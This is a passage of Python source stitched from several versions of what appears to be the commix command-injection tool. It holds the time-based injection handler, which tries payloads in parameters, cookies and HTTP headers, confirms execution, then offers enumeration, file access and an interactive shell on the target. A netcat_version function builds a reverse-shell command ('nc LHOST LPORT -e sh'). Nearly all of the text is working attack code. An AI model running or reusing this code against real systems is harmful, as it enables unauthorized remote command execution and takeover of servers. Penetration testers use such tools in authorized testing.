settings.INJECT_TAG) how_long = tb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tb_injector.injection_test( payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic.append(how_long) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round(((num_of_chars * 100) / (total * 1.0)), 2)) if percent == 100 and no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = "" else: if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Simple statical analysis statistical_anomaly = True if len(set( how_long_statistic[0:5])) == 1: if max(xrange( len(how_long_statistic)), key=lambda x: how_long_statistic[ x]) == len(TAG) - 1: statistical_anomaly = False how_long_statistic = [] if delay <= how_long and not statistical_anomaly: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) while True: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " sys.stdout.write( settings.print_question_msg( question_msg)) proceed_option = sys.stdin.readline( ).replace("\n", "").lower() if proceed_option.lower( ) in settings.CHOICE_PROCEED: if proceed_option.lower( ) == "s": false_positive_fixation = False raise elif proceed_option.lower( ) == "c": delay = delay + 1 false_positive_fixation = True break elif proceed_option.lower( ) == "q": raise SystemExit() else: if proceed_option == "": proceed_option = "enter" err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg( err_msg) pass # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - delay if false_positive_warning: time.sleep(1) randv1 = random.randrange(0, 1) randv2 = random.randrange(1, 2) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str( randv1) + " + " + str( randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str( randv1) + " + " + str( randv2) + ")" else: cmd = "expr " + str( randv1) + " + " + str( randv2) + "" # Check for false positive resutls how_long, output = tb_injector.false_positive_check( separator, TAG, cmd, whitespace, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : if str(output) == str( randvcalc) and len( TAG) == output_length: is_vulnerable = True how_long_statistic = 0 if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = "" else: break # False positive else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent) + "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent) + "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue if not settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: break break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : if (len(TAG) == output_length) and \ (is_vulnerable == True or settings.LOAD_SESSION and is_vulnerable == "True"): found = True no_result = False if settings.LOAD_SESSION: is_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + payload.replace( "\n", "\\n") + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation( url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable) #is_vulnerable = False else: settings.LOAD_SESSION = False new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input( "\n" + settings.print_question_msg(question_msg) ).lower() if enumerate_again in settings.CHOICE_YES: tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() if file_access_again in settings.CHOICE_YES: tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print "" tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd check_how_long, output = tb_enumeration.single_os_cmd_exec( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) sys.exit(0) if not new_line: print "" # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: if false_positive_warning: warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) false_positive_warning = False try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options( cmd.lower(), technique, go_back, no_result) if os_shell_option == False: if no_result == True: return False else: return True elif os_shell_option == "quit": sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": warn_msg = "You are already into an 'os_shell' mode." print settings.print_warning_msg( warn_msg) + "\n" elif os_shell_option == "reverse_tcp": settings.REVERSE_TCP = True # Set up LHOST / LPORT for The reverse TCP connection. reverse_tcp.configure_reverse_tcp( ) if settings.REVERSE_TCP == False: continue while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options( settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options( ) result = checks.check_reverse_tcp_options( cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. from src.core.injections.results_based.techniques.classic import cb_injector separator = checks.time_based_separators( separator, http_request_method) whitespace = settings.WHITESPACE[ 0] response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. shell = cb_injector.injection_results( response, TAG, cmd) # Export injection result if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The reverse TCP connection has been failed!" print settings.print_critical_msg( err_msg) else: pass else: print "" if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd( url, cmd, vuln_parameter) print Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL print "" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass #break if no_result == True: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def netcat_version(): # Defined shell shell = "sh" # Netcat alternatives NETCAT_ALTERNATIVES = [ "nc", "busybox nc", "nc.traditional" ] while True: nc_version = raw_input(""" ---[ """ + Style.BRIGHT + Fore.BLUE + """Unix-like targets""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """) # Default Netcat if nc_version == '1': nc_alternative = NETCAT_ALTERNATIVES[0] break # Netcat for Busybox if nc_version == '2': nc_alternative = NETCAT_ALTERNATIVES[1] break # Netcat-Traditional elif nc_version == '3': nc_alternative = NETCAT_ALTERNATIVES[2] break # Check for available shell options elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS): if shell_options(nc_version): return shell_options(nc_version) # Invalid option else: err_msg = "The '" + nc_version + "' option, is not valid." print settings.print_error_msg(err_msg) continue while True: if not menu.options.batch: question_msg = "Do you want to use '/bin' standard subdirectory? [y/N] > " sys.stdout.write(settings.print_question_msg(question_msg)) enable_bin_dir = sys.stdin.readline().replace("\n","").lower() else: enable_bin_dir = "" if len(enable_bin_dir) == 0: enable_bin_dir = "n" if enable_bin_dir in settings.CHOICE_NO: break elif enable_bin_dir in settings.CHOICE_YES : nc_alternative = "/bin/" + nc_alternative shell = "/bin/" + shell break elif enable_bin_dir in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + enable_bin_dir + "' is not a valid answer." print settings.print_error_msg(err_msg) pass cmd = nc_alternative + " " + settings.LHOST + " " + settings.LPORT + " -e " + shell return cmd
def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False possibly_vulnerable = False false_positive_warning = False export_injection_info = False how_long = 0 if settings.VERBOSITY_LEVEL != 0: info_msg = "Testing the " + "(" + injection_type.split( " ")[0] + ") " + technique + ". " print(settings.print_info_msg(info_msg)) # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: warn_msg = "The '--url-reload' option is not available in " + technique + "." print(settings.print_warning_msg(warn_msg)) #whitespace = checks.check_whitespaces() # Calculate all possible combinations total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACES: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. how_long_statistic = [] if settings.LOAD_SESSION and session_handler.notification( url, technique, injection_type): try: settings.TIME_BASED_STATE = True cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Define alter shell alter_shell = menu.options.alter_shell # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for num_of_chars in range(6)) tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: if alter_shell: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision_alter_shell( separator, TAG, output_length, timesec, http_request_method) else: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision( separator, TAG, output_length, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification( payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) payload_msg = payload.replace("\n", "\\n") sys.stdout.write( settings.print_payload(payload_msg) + "\n") # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) how_long = tb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) how_long = tb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) how_long = tb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) how_long = tb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) how_long = tb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tb_injector.injection_test( payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic.append(how_long) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round( ((num_of_chars * 100) / (total * 1.0)), 2)) if percent == 100 and no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS else: percent = "" else: if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Simple statical analysis statistical_anomaly = True if len(set(how_long_statistic[0:5]) ) == 1: if max(xrange( len(how_long_statistic) ), key=lambda x: how_long_statistic[ x]) == len(TAG) - 1: statistical_anomaly = False how_long_statistic = [] if timesec <= how_long and not statistical_anomaly: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) while True: if not menu.options.batch: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = _input( settings. print_question_msg( question_msg)) else: proceed_option = "" if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower( ) in settings.CHOICE_PROCEED: if proceed_option.lower( ) == "s": false_positive_fixation = False raise elif proceed_option.lower( ) == "c": timesec = timesec + 1 false_positive_fixation = True break elif proceed_option.lower( ) == "q": raise SystemExit() else: err_msg = "'" + proceed_option + "' is not a valid answer." print( settings. print_error_msg( err_msg)) pass if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec if false_positive_warning: time.sleep(1) randv1 = random.randrange(1, 10) randv2 = random.randrange(1, 10) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str( randv1) + " + " + str( randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str( randv1) + " + " + str( randv2) + ")" else: cmd = "expr " + str( randv1) + " %2B " + str( randv2) + "" # Set the original delay time original_how_long = how_long # Check for false positive resutls how_long, output = tb_injector.false_positive_check( separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if str(output) == str( randvcalc) and len( TAG ) == output_length: possibly_vulnerable = True how_long_statistic = 0 if settings.VERBOSITY_LEVEL == 0: percent = settings.info_msg else: percent = "" else: break # False positive else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue if settings.VERBOSITY_LEVEL == 0: info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise except: percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round( ((num_of_chars * 100) / (total * 1.0)), 2)) if str(float_percent) == "100.0": if no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() else: percent = "" else: percent = ".. (" + str( float_percent) + "%)" print(settings.SPACE) # Print logs notification message logs.logs_notification(filename) #raise else: percent = ".. (" + str( float_percent) + "%)" break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.LOAD_SESSION: possibly_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if not menu.options.data: found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if settings.VERBOSITY_LEVEL == 0: print(settings.SPACE) else: checks.total_of_requests() # Print the findings to terminal. info_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: info_msg += " " + http_request_method info_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name info_msg += found_vuln_parameter + " seems injectable via " info_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) # Export session if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation( url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) #possibly_vulnerable = False else: settings.LOAD_SESSION = False new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print(settings.SPACE) break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print( settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print(settings.SPACE) # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: print(settings.SPACE) while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input( settings.print_question_msg( question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print( settings.print_error_msg(err_msg)) pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print(settings.SPACE) tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd check_how_long, output = tb_enumeration.single_os_cmd_exec( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) print(settings.SPACE) logs.print_logs_notification(filename, url) raise SystemExit() if not new_line: print(settings.SPACE) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input( settings.print_question_msg( question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "Y" if gotshell in settings.CHOICE_YES: # if not menu.options.batch: # print(settings.SPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() while True: if false_positive_warning: warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) false_positive_warning = False try: if not settings.READLINE_ERROR: checks.tab_autocompleter() cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd( url, cmd, vuln_parameter) print("\n" + settings. print_output(output)) # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, output) print(settings.SPACE) except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print( settings.print_error_msg( err_msg)) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass break if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SPACE) return False else: sys.stdout.write("\r") sys.stdout.flush()
